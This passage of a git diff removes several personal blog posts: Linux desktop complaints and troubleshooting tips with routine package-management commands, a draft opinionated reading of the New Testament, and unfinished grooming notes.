need to redirect `stdout` and `stderr` if we don't want the creation of a `nohup.out` file which is the default behaviour. - -```sh -nohup firefox >/dev/null 2>&1 & -``` - -In this command, we are informing the shell, to redirect output to `/dev/null` (a place that discards everything that is written to it, and returns an End of File - EOF if read from). We also inform the shell to redirect the stderr (2) to wherever the stdout (1) is directed (&) to. - -### Using `dex` for Desktop Entries - -Another way is to use `dex` to run the "Exec" value of a `.desktop` file if the entry type is `Application`. - -```sh -dex /usr/share/applications/firefox.desktop -``` - -[Desktop entries - ArchWiki](https://wiki.archlinux.org/title/Desktop_entries#Usage) - -### Subshell - -Run the command (with bg) in a sub-shell like so - -```sh -(firefox &) -``` - -To ignore output, - -```sh -(firefox >/dev/null 2>&1 &) -``` diff --git a/content/posts/linux-desktop-sucks.md b/content/posts/linux-desktop-sucks.md deleted file mode 100644 index 5e8c58d55..000000000 --- a/content/posts/linux-desktop-sucks.md +++ /dev/null @@ -1,196 +0,0 @@ ---- -title: "Linux Desktop Sucks!" -date: 2022-02-26T12:44:37-05:00 -draft: false -tags: - - linux - - opinion -summary: "The Linux desktop experience is subpar across various distributions. UX issues like Bluetooth, dual booting, drivers, scaling, package management, and software installation seem to prop up all the time." ---- - -{{< toc >}} - -## Introduction - -I've used Raspian (~2014), Ubuntu GNOME (~2016), Manjaro KDE (2020 & 2022-2023), Fedora, Zorin (2021), Mint (2024), and Nobara (2024). - -There's a lot of UX issues with Linux and for some reasons the user base starts victim blaming instead of actually improving the experience. It's very political regard and reminds me of this one person who genuinely believed that Libertarianism was about legalizing underage marriage. - -The issues listed under each distro may actually extend to other distros as the desktop (e.g. KDE, or GNOME) or the Windowing System (Wayland) may be the same on different distros. - -## Linux Mint - -I installed Linux Mint alongside Windows 11 on my laptop for work purposes. Running Linux Mint in a Virtual Machine is slow, ugly, and not as convenient as I thought it was. Why dual boot? Well I need a lot of services: OneDrive, Mega, GitHub Desktop, and video games. I also want an experience where the issues are minor. I think Windows 11 downgraded a lot of components to be more like macOS and Linux which is why I will be making some videos on why Windows 11 sucks, but this article is about my Linux experience. - -### Bluetooth (Headphones) - -There are three issues I have with bluetooth on Linux Mint.. The first time I connected my headphones to the laptop, it was pretty smooth. Now that I want to use connect my headphones to the laptop after having used them with my phone, the laptop is going "Connected" right after double tapping, and then it fails to connect resulting in a disconnect. - -1. It doesn't work. The error I after the UI has told me my headphones have connected is "Connection Failed: br-connection-unknown." I had to remove the device and add it again for my headphones to connect. -2. One if the straight up lie that the laptop is connected to the headphones after a single double click. Stop telling the user that we have connected when we haven't! -3. The bluetooth icon in the taskbar doesn't open a tray UI like Date, Battery, Music, WiFi icon. It's actually not part of the desktop, but as a user application. What?? - -### Dual Boot Menu - -First off, the default dual boot menu is ugly. GRUB is still not configured to scale on monitors that have a higher resolution than 1080p. I have been using 1440p laptop screens since 2017. That's 7 years now. I'll have to customize this, but it is an annoyance. - -Refind was recommended to install but guess what, I got a scary red error: "Secure Boot violation. Invalid signature". Searching for help yields a single reddit comment replying to post on r/linux4**NOOBS** - -> You need to create a local signing key, register it using the MOK utility, then sign the rEFInd binary using that signing key. You can access the full manual at http://www.rodsbooks.com/refind/secureboot.html - -How is this noob-friendly advice? - -I uninstalled refind and yet I got the same error. Good thing I took a Timeshift yesterday which also backed up the boot drive. Good thing I don't use this stupid distro as a daily driver where it can mess with my cloud files. - -### Dual Boot Time - -For some reason Linux and Windows have different ways of storing time and no one on the Linux side thought about changing the way time works if installed alongside Windows. I really don't want to have to adjust my time settings every time I boot back into Windows. I'll probably just not adjust the time on the Linux side and let it be. - -### NVIDIA Driver Installation - -When installing NVIDIA drivers for Linux Mint, we are told to enter a password for Secure Boot and that we would have to enter this after rebooting but a reboot does not actually make us enter the password...unless we selected "Enroll MOK." It would be helpful if the drivers app gave better instructions. - -### External Monitor Scale Cannot be Different - -I have my laptop connected to two external monitors. The scale on all three displays has to be the same for the UI to fit 100%. On Windows I can set the scale to different values for each monitor without any problem. On Linux Mint, fractional scaling is still experimental. - -### Wake From Sleep shows Clipped Login UI - -![ALT: all of my three displays are black but my left monitor shows the clipped UI](/images/linux/linux-mint-clipped-login-ui.webp) - -I can still login by simply typing my password and pressing enter but this is such a subpar experience. Windows 11 has its issues but it is never a simple issue. The worst Windows 11 does is run the anti-virus on a folder I did not exempt. - -## Manjaro KDE Specific Issues - -I had to daily drive Manjaro KDE for 3 weeks on my Razer Blade Stealth, and over that time I encountered a plethora of issues and I've documented [some solutions](/posts/manjaro-kde-tips). - -The Razer Blade stealth has a 6th generation laptop i5 processor and 8GB of RAM. I'm not sure if -it's because of the SSD speeds, but the laptop freezes either due to 100% memory or 99% CPU. VS Code freezes so often without even running an application. - -I do believe Firefox is highly optimized on Linux as it never crashed. However, if you have 10+ tabs open, good bye. - -### Black Screen Bug - -I'll start with this as it is the reason why I will not recommend Manjaro for people interested in free (as in beer) software. - -I'm logged in as my parents' user and now I log out and log into my account. The desktop splashscreen shows up and then boom black screen. - -Maybe it's a fluke, so I just create a thread to leave a paper trail. I use a physical power down and then log in without issues. - -4 hours later, my parents are logged in, but I want to test something out myself. I turn on the laptop and click switch user, meaning that my parents are not -logged out. The desktop splashscreen loads and I get the black screen again. - -Manjaro is 11 years old. There is no excuse for this workflow to not work. There is no excuse because I go out of my way to make sure -my music player runs for everyone's workflow not just my own. - -### Plugging or Unplugging Power Puts Laptop to Sleep - -As the subsection states, charging my laptop while it is on, puts it into the sleep state. I wish I was joking. -How is this bug even possible in 2023. It makes zero sense why Manjaro can't even handle the plugging of a power cord. - -### Inefficient Upgrading - -Pacman manager so not specifically Manjaro. - -I turn on the laptop after a couple months and the network folder no longer works. There were 2.1GB worth of updates so I decided to start upgrading. - -After all the packages were downloading, for a couple minutes there were network errors due to the package manager hitting `http://mirror.ragenetwork.de` "name or service not known" errors. Why are packages not installed while downloading new packages? It's inefficient. - -Only after the packages were installed and a restart completed did the network drive start to work. - -### Unintuitive Appearance Settings - -So I click appearance from the settings app and there is no option to change the wallpaper. Pretty dumb! - -### Webcam - -The webcam does not work. Glitches with green. - -## Nautilis Sucks - -I can't create new files in the directory through a right click menu. I can't access the right click menu if I'm using list mode and the folder is full of files. On Windows, a right click is applied on the folder if the file is not selected, but on Nautilis, too bad so sad, did you mean to right click a file? It's not a big deal since the right click menu in Nautlis is only useful for accessing properties since its other features can be done using keyboard shortcuts (Ctrl +C, Ctrl + V, Ctrl +Shift+N). - -## Zorin OS - -### Firefox Home Page Overwritten on Every Login - -On Zorin OS, the home page is overwritten on every log in to which uses Google primarily. Are they even paid by Google to do that? - -## Nobara KDE - -When the laptop wakes from sleep, the cursor cannot be moved by the touchpad anymore. Online search yielded to disable "suspend" or "modern standby" but I couldn't find those settings in the BIOS menu of a 2016 laptop (razer blade stealth). - -Had to disable secure boot so I see a tpm error on every boot and need to press enter. - -## Other Issues - -### Canonical and Snap Sucks - -I cannot believe Ubuntu is promoted to newbies when snaps are the default distribution model. Snaps literally make apps slower. Gigabytes of wasted storage -for slower apps. A linux desktop experience should rival Windows, it should not make you say "it's okay because it's not Windows." -The mentality that we need to live a worse life just because we get a free experience is the worst mentality ever. - -### No Ctrl for Tabbing - -If Linux desktop is all about customization, why is it so damn difficult to replace Alt with Ctrl? Windows predates Linux, so this Alt + # shortcut should -not be forced upon users. At least on Firefox there's an extension to give us the behaviour that Chrome supports. - -### Poor Cloud Storage Support - -Coming from Windows, I use OneDrive and MEGA. I do care about OneDrive since -it has my personal files that I need backed up to the cloud. Where is the OneDrive support without using rsync which -doesn't work half the time? Also, for information, Mega and OneDrive work on macOS. Sure you can argue it's up to the app developers, but there's so many distros and packaging is a pain in the ass as a developer myself. I had to resort to distributing Python scripts because it was so annoying to distribute apps without requiring system permissions to install. - -### Poor Installation Tutorials - -Just look at any tutorial for flashing an ISO. Generic tutorials tell you to use Rufus, an ugly and non-intuitive UI. Fedora has their own flash tool which looks nice but does not work on other distros. - -I only found out about balenaEtcher, the most intuitive ISO flash tool by pure luck when searching for something other than flashing ISOs. - -With Debian, the tutorials tell you to use free-[software] ISO and make it too complicated just to download the non-free-[software] ISO. Then there is the language used to describe ISO's. CD: an ISO that lets you install Debian and requires internet. DVD: live distro no requiring an internet connection. I'll get some guy in the comments nitpicking my interpretation but the Debian explanation is not succinct at all. - -I'm speaking from the point of a practical user who also programs. I love keyboard shortcuts, automation, and aesthetic design. I used to dual boot Zorin OS and Windows on my laptop. I found that Zorin OS looked the nicest (at the time) but I also realized that the only reason I was able to install it was luck. I flashed the Zorin OS 15 ISO in 2020 and only had motivation to dual boot in 2021 when Zorin OS 16 was out. When I tried to install Zorin OS 15, I ran into an issue so instead of giving up I could just try installing 16 as the problem may have been patched. - -### Can't Shutdown Easily - -A great and Windows comparable Linux distro should require minimal changes and should have a tips section. For example it's faster to shutdown using "Alt + F2 → poweroff" than it is to use your mouse or searching (not in the menu) for shutdown, clicking enter, pressing the right key, and pressing enter. Why is the default click cancel instead of Shut down? On Windows it's just Alt + F4 on the desktop and an Enter. - -One last head ache is the inability to launch commands from the address bar… I want the best of GUI and command line, not just a GUI and not just a terminal. - -### Installing Custom Programs is a HEADACHE - -Applies to: Fedora - -On Windows, installers don't even need administrative privileges to install programs and they still show up in the startup menu, but lets look at the worst case, where the application is shipped as an archive which is equivalent on Linux when the application is not available on a centralized location. - -The example I'll be using is Discord. On Linux, first let's download the .tar.gz, which will automatically be downloaded to the Downloads folder as intended. Yes on Debian, there is a .deb . -On Windows the procedure for installing via zips, is extracting to a folder, moving that folder to a location like C:/CustomPrograms, creating a shortcut of the program (context menu), and moving the shortcut to Start Menu/Programs. - -On Linux, we are lucky that Discord came with the shortcut equivalent of discord.desktop . I found out that the Linux equivalent for the application menu is /usr/share/applications. - -Now that we can open up the file explorer easily (Super + E), where is the root folder (This PC on Windows) / ? For no reason, the root directory is not pinned on the left tab of the file explorer. You can do Ctrl + L, /, Enter to get to the root folder. It is much quicker to just type /usr/share/applications in the address bar but root access isn't just required for this one folder. - -I do not have the permission to paste files into the directory. So let me get this straight. By default, I have to get permission from myself (sudo) just to create a shortcut on the application menu? And not just that, Nautilis won't even ask me for permission but will just tell me it lacks the permission? "Ask and you shall receive", but I guess the author never heard of that one. They do this in the same of security, but I say I should be able to drink wine out of both the cup of Freedom and Security. - -A normal user would simply give up at this point, torrent Windows (if money is a problem) and use it. - -## How Can Linux Distros Gain Users? - -By ditching this philosophy that open source software can't benefit from proprietary companies. By proprietary, I mean OEM's. - -Supporting QHD displays where users want to use 150% DPI rather than 100% or 200% DPI. - -Linux Distros are not OEM ready and until they are not, they will never going to take off. Dell only released a developer laptop running Ubuntu, not a laptop for all users. -My OEM strategy would be as follows: -Make sure Wine is installed and auto configures upon first run. By auto configure I mean that wine should scale with the resolution and not use its own default resolution. -Make sure word files and etc are editable by default and still save as docx. Improve the UI for LibreOffice. -Make sure browsers work with the same shortcuts. -Make sure users can install software from online with ease. Add a right click menu on tar files that will "install" the binaries in a tar.gz. -Make sure keyboard shortcuts work and that nautilus works better not less than windows explorer. Windows explorer includes a shell, and is not just a file explorer! -Make sure the store is not filled with duo are software. There were two versions of vs code when I tried to install vs code. - -Fix grub so that it scales by the resolution of the software. I tried to edit grub but the font size never changed. The booting experience is arcane. - -What else? Don't disregard any users' opinion. Every opinion is valid and only when the feature/change would hurt other users can you actually disregard an opinion after careful thought. - -Making it easier to support Linux as a developer. diff --git a/content/posts/linux-tips.md b/content/posts/linux-tips.md deleted file mode 100644 index 6ad8d324f..000000000 --- a/content/posts/linux-tips.md +++ /dev/null @@ -1,337 +0,0 @@ ---- -title: "Linux [Desktop] Tips" -date: 2023-06-27T10:56:19-04:00 -draft: false -tags: - - linux -aliases: - - /posts/manjaro-kde-tips/ -summary: "Linux desktop tips and troubleshooting, recommending Fedora KDE and covering topics like package management, software installation, system configuration, and common error fixes." ---- - -{{< toc >}} - -## Which Distro Should I Use? - -[Fedora KDE](https://fedoraproject.org/spins/kde/) - -The best distro is functionally the best, stable (for general and niches like gaming and content creation), and has better performance than the alternatives. - -- For functionality, KDE is the best; fractional scaling. -- For stability, we choose anything but Arch. A perfect example is this comment explaining that when things break, he doesn't consider it broken [if he has to use the internet (arch wiki) to fix the problem](https://www.reddit.com/r/archlinux/comments/11t3wc1/comment/jchsx4e). My definition of broken is that the issue cannot be fixed by restarting your computer. -- For performance, we want to avoid Ubuntu-based distros that use snaps -- We are left with distros that support KDE out of the box: Namely, Debian based (excluding Ubuntu) and Fedora based. - -So why Fedora instead of Debian? Well because it's more up to date and it's also not confusing to download unlike Debian. - -## Webcam Application - -### KDE - -Install kamoso (with Add/Remove Software). - -### Gnome - -Cheese - -## How to Install yay - -Yet Another Yogurt (yay) helps you install packages from AUR using the command `yay -S` instead of entering in commands to clone and build the package. - -```zsh -pacman -S --needed --noconfirm git base-devel -git clone https://aur.archlinux.org/yay.git -cd yay -makepkg -si -cd .. -rm yay -rf -``` - -## How to Install Packages from AUR - -You can either do `pamac build $PKGNAME` or use `yay -s $PACKAGENAME` which requires installing yay as shown above. - -In the next section is an example on how to install visual studio code. - -The following is a one-liner way to install packages in yay to skip the prompts. - -```sh -echo y | LANG=C yay --provides=false --answerdiff=None --answerclean=None --mflags "--noconfirm" -S $list_of_packages -``` - -### gpg: keyserver recevie failed: No route to host - -```sh -gpg --server hkp://keys.gnupg.net --recv-key KEY_GOES_HERE -``` - -If the above fails with "gpg: keyserver receive failed: Server indicated a failure", - -Use `sudo nano /etc/resolv.conf` and add Cloudflare's DNS - -```conf -nameserver 1.1.1.1 # Cloudflare -``` - -## How to install Visual Studio Code in Manjaro - -To install vscode, `yay -S visual-studio-code-bin` - -## VSCode Fix ZSH Font - -```sh -sudo pacman -Su ttf-meslo-nerd-font-powerlevel10k ttf-firacode-nerd --noconfirm -``` - -Set Terminal › Integrated: Font Family to `firaCode Nerd Font, monospace` or `MesloLGS NF, monospace` - -## How to Install Fira Code Nerd Font on Arch - -[Official install instructions](https://github.com/tonsky/FiraCode/wiki/Linux-instructions#installing-with-a-package-manager) - -Suppose you want to install a package on Arch. The first step would be to search for what you want using `pacman -Ss a query` - -```sh -> pacman -Ss fira code -extra/texlive-fontsextra 2023.66594-15 (texlive) - TeX Live - Additional fonts -extra/texlive-latexextra 2023.66594-15 (texlive) - TeX Live - LaTeX additional packages -extra/ttf-fira-code 6.2-2 - Monospaced font with programming ligatures -extra/ttf-firacode-nerd 3.0.2-1 (nerd-fonts) - Patched font Fira (Fura) Code from nerd fonts library -extra/woff-fira-code 6.2-2 - Monospaced font with programming ligatures -extra/woff2-fira-code 6.2-2 - Monospaced font with programming ligatures -``` - -Next install the Fira Code Nerd Font. - -```sh -sudo pacman -S ttf-firacode-nerd --noconfirm -``` - -To use this font in Visual Studio Code, set the editor font family to `firaCode Nerd Font, 'Cascadia Code', Consolas, 'Courier New', monospace`. - -Set the terminal font-family to `firaCode Nerd Font, monospace` - -## Setting Default Browser for Electron Apps - -```sh -xdg-mime default firefox.desktop x-scheme-handler/http -xdg-mime default firefox.desktop x-scheme-handler/https -``` - -## How to fix Sudo Password Not Accepted - -```zsh -systemctl start systemd-homed -pacman -S pambase --noconfirm # optional -``` - -## Virtual Terminal - -- Ctrl + Alt + F4 to go to virtual terminal -- Ctrl + Alt + F1 to go back to desktop - -## X-Server Restart - -Ctrl + Alt + Backspace (unconfirmed) - -## How to setup OneDrive on Linux - -- [jstaf/onedriver](https://github.com/jstaf/onedriver) -- For Arch, use `sudo pamac build onedriver` - -```sh -yay onedrive-abraunegg -``` - -Note: If asked regarding a provider for 'd-runtime' and 'd-compiler', select 'liblphobos' and 'ldc' - -Run `onedrive` to setup account. - -Increase number of inotify watchers (number of files that can be monitored) - -```sh -echo fs.inotify.max_user_watches=524288 | sudo tee /etc/sysctl.d/40-max-user-watches.conf && sudo sysctl --system -``` - -Enable the system service - -```sh -sudo systemctl enable onedrive@$USER.service -sudo systemctl start onedrive@$USER.service -journalctl -u onedrive@$USER # scroll to bottom to check if syncing works -``` - -## Linux How to Read a File in the Terminal - -- Use `less` to read line by line (arrow up and down keys) -- Use `more` to read page by page (arrow up and down keys) -- Use `cat` to output entire file (useful for piping `|` commands) - -## How to Install an AppImage on Manjaro - -First install `appimagelauncher` - -```sh -sudo pacman -S appimagelauncher -``` - -Next double click on the downloaded AppImage - -## Linux Append Line to System File - -To append a line to a system file, do not use `>>`. Instead use `commandForOutputGoesHere | sudo tee -a /path/to/file` - -## Steam Scale UI on Linux or Manjaro - -Before we get started, reminder to prefer using `Steam (Runtime)` instead of `Steam (Native)` - -If you have root access, run the following command so that steam will be properly scaled -no matter how it is launched (steam desktop shortcut, terminal, game desktop shortcut). - -```sh -echo "STEAM_FORCE_DESKTOPUI_SCALING='1.5'" | sudo tee -a /etc/environment -``` - -If you do not have root access, edit your login shell (`~/.profile`) instead. - -```sh -echo "STEAM_FORCE_DESKTOPUI_SCALING='1.5'" | sudo tee -a ~/.profile -``` - -Test 1.5 out by using `source /path/to/file && steam`. If 1.5 isn't right for you, use nano to edit your file: - - `sudo nano /etc/environment` or `nano ~/.profile` - -Now log out and log back in so that your system will source from either of the files that you edited. - -
Alternatively, you could edit every single one of your game desktop entries in addition to your steam shortcuts, - -To fix scaling, simply run - -```sh -sudo nano /usr/share/applications/steam.desktop -``` - -If you have `gedit`, you can use that instead. - -Next scroll to the **first** Exec for the desktop entry, and add `-forcedesktopscaling=1.5` like below - -```desktop -Exec=/usr/bin/steam-runtime -forcedesktopscaling=1.5 %U -``` - -Save the file and restart steam (the next section has a command for shutting down apps by program name). - -You will also have to add this argument to all game shortcuts. - -
- -## How to Pin or Favourite Games on Steam Linux - -Copy the desktop file to your local applications directory. -This will let you pin / favourite the game to your start menu. -You can choose to delete the original shortcut afterwards. - -```sh -mkdir ~/.local/share/applications -sudo cp ~/Desktop/Game.desktop ~/.local/share/applications -``` - -## How to Force Close Apps on Linux - -```sh -killall steam -``` - -## version GLIBC_2.38 Not Found - -Man I tried to show my friend today how my Manjaro system was running and of course it breaks. - -Manjaro fucking sucks. Let's get that straight. I tried running a pacman command and it doesn't upgrade my system. I did something and everything broke. - -```sh -pacman -pacman: /usr/lib/libc.so.6: version `GLIBC_2.38' not found (required by pacman) -pacman: /usr/lib/libc.so.6: version `GLIBC_2.38' not found (required by /usr/lib/libalpm.so.13) -``` - -To fix this issue, - -1. Download [pacman-static](https://pkgbuild.com/~morganamilo/pacman-static/x86_64/bin/) -2. `cd ~/Downloads && chmod +x ./pacman-static`` -3. `sudo pacman -Syu glibc-locales --overwrite /usr/lib/locale/\*/\* --noconfirm` [reference](https://forum.manjaro.org/t/stable-update-2023-10-09-mesa-grub-glibc-thunderbird-kde-frameworks-renaming/149302/2) -4. `sudo ./pacman-static -Syu --noconfirm` -5. `sudo pacman-mirrors -f5` - -Hey hey hey, we fixed it. - -My laptop's battery drained so when I started it up again I got the error in the following section. - -## Failed to Start Light Display Manager Error - -In the lightdm logs, you'll see the following. - -```sh -failed to start seat: seat0 -``` - -First step is to get terminal access - -1. Ctrl + Alt + F2 -2. Enter your username and then your password -3. `sudo pacman -Syu --noconfirm` - -```sh -nmtui # connect to a wifi network if you are using wifi -sudo pacman -S lightdm-gtk-greeter --noconfirm -sudo pacman -Syu -sudo systemctl start lightdm -``` - -### How to Enable Wi-Fi in TTY/TTL - -1. Ctrl + Alt + F2 -2. `nmtui` - -### How to Install Python 3.10 on Manjaro (or Arch) - -Try this first. - -```sh -yay -S python310 -``` - -It didn't work for me, so this is how I did it. - -```sh -cd ~/Downloads -git clone https://aur.archlinux.org/python310.git -cd python310 -makepkg -si -# the directory is 360 MB, so only if that's a lot for your system, remove it -cd .. -rm -rf python310 -``` - -This will take a LONG time...but it works. - -Music Caster runs on Linux again! - -## How to Reduce Firefox Scroll Speed or Sensitivity - -The scroll speed on Firefox is too sensitive. To reduce it, - -1. Go to about:config -2. Search for `mousewheel.default.delta_multiplier_y` -3. Set to 75 or change until satisfactory -4. You can test the scroll speed on this post itself - -## Fix Touchpad after Waking From Sleep - -[See my other post](/posts/linux-touchpad-not-working/) diff --git a/content/posts/literary-analysis/bible.md b/content/posts/literary-analysis/bible.md deleted file mode 100644 index d817f7a5c..000000000 --- a/content/posts/literary-analysis/bible.md +++ /dev/null @@ -1,127 +0,0 @@ ---- -title: "Analysis of the New Testament (For Now)" -date: 2023-12-24T16:56:12-04:00 -draft: true -hidden: true -tags: - - literary-analysis -summary: "A secular literary analysis of the New Testament (Matthew), examining Jesus' commands and teachings on topics like tithing, healthcare, inclusion, wealth distribution, and obeying/defying government law." ---- - -## Preface - -As I'm writing this, I would say I'm agnostic. I believe in God, however I have difficult identify as Catholicism because I do not feel like I or my mind was wanted or belonged in Church/prayer, just as how I don't feel like I belong in many places and groups. - -I'm writing this because of a rabbit hole. A rabbit hole that started because of a theory I developed some time ago (before this blog existed) known as [reactionary politics](/posts/politics-reactionary-theory). It is my belief that evil persists because of this theory of mine. It's an optional read and I don't believe it is very polished so no need to read it. - -We have more than enough books but not enough prophets analyzing through a secular lens. I will slowly start publishing my analyses. - -{{< toc >}} - -## Introduction - -Jesus said to his disciples, "teach them \[people] to obey everything I have commanded you" - Matthew 28:16-20 - -In these notes of mine, I will share and analyze what Jesus commanded his disciples in the _book of Matthew_. As a person who is objective, we should each make notes ourselves and only use the internet to clarify what a sentence means rather than drawing broad conclusions such as what it means to be Christian. - -
Note that I said Christian... - - As it stands, to be Catholic means to support all leaders of the church (popes) that came after Saint Peter, including the current pope, which I do not support. That is what Catholic means. It is used currently as a synonym for Christianity, but it is totally incorrect once you understand that Catholicism isn't just a religion, it's a system. - -
- - I will be reading from the English Standard Version as it "combines word-for-word precision and accuracy with literary excellence, beauty, and readability" rather than substituting words. I'm choosing this over "New American Standard Bible NAS" because I want both accuracy and readability, not just accuracy. The New International Version does thought for thought translations that could've been mis-interpreted in the first place. Put shortly, NAS requires a lot of critical thinking, NIV skips critical thinking, ESV will be just right. - -## Preachings - -My preachings and takes based on the words of Jesus Christ. - -### Matthew 23.9 - -This verse tells us that Christians should not call a priest a Father, but rather that they are a servant of God which is (do note that the true translation is slave of God). - -### Matthew 23.23 - -This verse tells us that the tax rate (tithe) should be 10%. In the modern day, people who follow tithe to not consider government taxes to be tithe and pay additional money to the church. This is not what Jesus preached. He clearly preached that once we live in a civilized state, we should pay tithe. He doesn't say tithe in the context of existing taxes. The government is an extension of a church-like institution anyways, it's just that the church, or should I say most denominations, have diverted off the true path of God and righteousness. - -### Universal Healthcare - -Jesus gave sight to the blind (Matthew 20.29) and healed those who are sick. In the modern age this means universal healthcare for surgeries that are known to fix issues people have. People who call themselves Christian should be voting for universal healthcare. - -If anyone has seen Mr. Beasts video, the technology to cure blindness does exist and yet people required Mr. Beast to give them access to this technology. How can anyone claim to be a good person while simultaneously being against increasing access to life improving healthcare for those who cannot afford it? - -### The Sheep and the Goats (Matthew 25.40) - -Jesus says that think of someone who you think exhibits greatness and how you would treat them. Your role model, the best person on earth. Jesus says that if you don't aid those around you as if they were your role model, you never aided a great person anyways. In other words, mankind is equal and so should be treated good in general, not just cherry pick a handful of people to aid. - -### Inclusion - -> But when you give a banquet, invite the poor, the crippled, the lame, the blind, and you will be blessed. Although they cannot repay you, you will be repaid at the resurrection of the righteous” (Luke 14:13-14). - -When you hold bougie events you shouldn't make it an elitist only event. If it's not an event among friends and family and rather an event for people who are vaguely connected, then the poor, the losers, the disabled, should be included (invited). Jesus is teaching about inclusion. Without inclusion how can we claim to be good people. Inclusion is key in acting as a good person. A good person does not discriminate against the poor or disabled Hopefully this doesn't need to be said, but a good person doesn't only have these two attributes as protected. - -### The Neglected: Orphans and Widows - -> Religion that God our Father accepts as pure and faultless is this: to look after orphans and widows in their distress and to keep oneself from being polluted by the world” (James 1:27). - -This is teaching us very clearly that orphans , people without parents need to be taken care of. We cannot just condemn them to a life of hurt and suffering and pity. We meet to give them better opportunities. It also says that people who have lost their spouse need to be taken care of. - -Someone who loses their spouse loses their support. I'm unsure whether this extends to single parents, however given that child support is a thing, it is an unfair burden to the ex spouse when the teachings clearly show that it is a shared responsibility of all and not a single person. - -### Wealth Distribution - -The analyses I have made are from the view of how society should function; whether society be decentralized, centralized, community-run. There is no "right" way to run society, but what I do know is that the correct structure is able to protect its members from internal and external threats. So usually, some centralized arm is required along with localization. What's unclear is the distribution of the 10% of taxes between the levels of government. My loose guideline is that a land value fee exists (municipalities should charge people to live on the land) plus a provincial tax rate of 5% plus a federal tax rate of 5%. Private property should not include privatization of land or natural resources. Let's justify this stance. - -> A certain ruler asked him, “Good Teacher, what must I do to inherit eternal life?” Jesus said to him, “Why do you call me good? No one is good but God alone. You know the commandments: ‘You shall not commit adultery; You shall not murder; You shall not steal; You shall not bear false witness; Honor your father and mother.’” He replied, “I have kept all these since my youth.” When Jesus heard this, he said to him, “There is still one thing lacking. Sell all that you own and distribute the money to the poor, and you will have treasure in heaven; then come, follow me.” But when he heard this, he became sad; for he was very rich. Jesus looked at him and said, “How hard it is for those who have wealth to enter the kingdom of God! Indeed, it is easier for a camel to go through the eye of a needle than for someone who is rich to enter the kingdom of God” (Luke 18:18–25) - -Jesus is pointing out human behaviour that it is hard to let go once we have achieved success. That is, it is extremely hard to share our success as we surpass the adequate amount. This is further exacerbated by the fact that no one even knows what is an adequate amount and when is it a moral duty to distribute wealth. - -Jesus is conversing with a **very** rich person, let's say someone with a net worth north of CAD$100,000,000 who wants to be a good person (I personally do not believe in heaven, so I read heaven as a metaphor for being categorized as a good person). - -Jesus tells the person to sell all his properties, and distribute the money to the poor. This doesn't mean that one ought to become poor to be good. It simply means to distribute money till you are no longer very rich. A society should be doing this automatically, such that everyone is a good person regardless of their minds or opinions. That is, society should have an inheritance tax, but one that only affects very rich individuals and only to the point that the person is no longer **very** rich. Let's say that number is $100,000 per person in capital income per year. Based on my Watchlist of stocks I have compiled, we can assume a return of ~10% pre-tax. We want to target 100k per year, so therefore, at least $1M per person and a 100% buffer makes this $2M per person. That is the max amount that should not be subject to inheritance tax according to Jesus' teachings. Let's go through some examples to illustrate my thoughts. - -Of course, no society (as to my knowledge) has such a tax scheme, so the moral thing to do in such a case, is to do the distribution yourself. Should be pretty easy as homeless shelters are everywhere and you can just go there and start distributing money. Another question may be how much to distribute per person. My take is CA$1,000 to CAD$2,000. This is what I consider to be a significant amount of money to me when I don't actually have a use for CA$2,000, whereas a homeless person may think CA$400 is significant. According to the fishing parable, it isn't enough to just give person cash, but that's society's problem to teach people how to use cash, not the wealth distributer. We don't want to create a society where responsibility is unfairly distributed to people who are successful. - -
Inheritance Fee Examples - -1. Father dies, mother still alive. - - No inheritance tax yet as people who are married (in the conceptual sense) are a single unit. -2. Father and Mother dies, two children remain. - - In this case, any inheritable amount above $4M should be taxed at 100% -3. Father and Mother dies, one child remains, house market value of $1.5M, cash worth $1M. - - In this case, the inheritance fee can be paid via the cash. -4. Father and Mother dies, one child remains, house market value $3M, cash of $200,000. - - A case can be made that the house is prime real estate and that it is excessive for just a single persons family. It should be rightly sold off and the fees should be paid based on net proceed. So suppose the proceeds are $2.9M, then only $1.1M needs to be paid not the estimated $1.2M -5. Father and Mother dies, one child, cash of $2M, 100% shareholder of private company with cash flows greater than $2M. - - Rich should not necessarily include financial assets that cannot be liquidated easily. One could argue that a DCF can be used, but alas, a DCF is estimates and not based on guaranteed outcomes. Therefore, shares of private companies should not be forced to be "sold" as it's not a real asset. -6. Father and Mother dies, one child, cash of $2M, publicly traded financial instruments worth $2M - - Estimated inheritance fee is $2MM as the shares are publicly traded and a market value exists unlike only an estimated intrinsic value as was the case with shares of private companies. - -
- -### Government's Law - -1 Peter 2:13 - -> Submit yourselves for the Lord's sake to every human authority: whether to the emperor, as the supreme authority, or to governors, who are sent by him to punish those who do wrong and to commend those who do right. - -This passage strongly implies that government institutions are permitted and that in those cases, it is the rule of the land. Although the other bible version say "evildoers," there is a big difference betweens someone violently harming someone, and someone who commits crimes due to poverty. - -### When to Defy The Law - -Matthew 22:17-22 - -> Tell us then, what is your opinion? Is it right to pay the imperial tax to Caesar or not?” -> But Jesus, knowing their evil intent, said, “You hypocrites, why are you trying to trap me? 19 Show me the coin used for paying the tax.” They brought him a denarius, 20 and he asked them, “Whose image is this? And whose inscription?” -> “Caesar’s,” they replied. -> Then he said to them, “So give back to Caesar what is Caesar’s, and to God what is God’s.” - -Matthew 5:19 - -> Therefore anyone who sets aside one of the least of these commands and teaches others accordingly will be called least in the kingdom of heaven, but whoever practices and teaches these commands will be called great in the kingdom of heaven. - -Luke 9:5 - -> If people do not welcome you, leave their town and shake the dust off your feet as a testimony against them.” - -Leave the land if free to move. This is the case for many Americans, but not people outside of America. diff --git a/content/posts/male-grooming-tips.md b/content/posts/male-grooming-tips.md deleted file mode 100644 index 92344a9c5..000000000 --- a/content/posts/male-grooming-tips.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: "Male Grooming Tips" -date: 2022-05-10T20:48:46-04:00 -draft: true -hidden: true -aliases: - - '/posts/grooming-tips/' -summary: TODO ---- - -This is a work in progress. - -## Face and Acne - -Wash face with cleansing Gel two times a day, including once before sleep. After washing your face, dry it lightly and apply moisturizer. -Do not wash or touch your face as your day goes unless it gets messy. Washing your face will irritate your skin. - -For a midday shower, I'm not sure what the call is on whether to wash your face, wash your face with soap, or wash your face with cleansing gel. - -Retinol - -## Hair - -Shampoo + Condition hair every other day. Let shampoo simmer in your hair for 2-5 minutes before rinsing it off as your hair won't feel soft otherwise - -## Facial-Hair Shaving - -- A warm shower before shaving softens the hair follicles -- If your hair is more than 1cm long, trim it with an electric trimmer before shaving -- When shaving with a razor, do not press it against your skin because it will cause razor burns -- First pass shaving should be downwards on your face, downward/sideways for chin and upwards for your neck & under your chin -- At your 